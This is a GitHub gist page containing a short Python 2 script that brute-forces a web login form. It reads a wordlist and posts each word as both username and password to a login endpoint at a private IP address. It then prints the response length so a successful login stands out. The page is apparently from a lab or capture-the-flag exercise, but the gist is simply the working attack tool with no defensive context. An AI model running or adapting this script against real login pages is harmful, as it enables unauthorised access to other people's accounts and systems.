Created
April 14, 2017 20:23
-
-
Save dave5623/f781eb17ffad83e8af5fc1ab16dd65ef to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
with open("/root/wordlist.txt", "r") as wl: | |
for word in wl.readlines(): | |
word = word.rstrip() | |
payload = { | |
"login": word, | |
"password": word | |
} | |
with requests.Session() as sess: | |
p = sess.post('http://192.168.152.149/login', data=payload) | |
print word + ": " + str(len(str(p.text))) | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment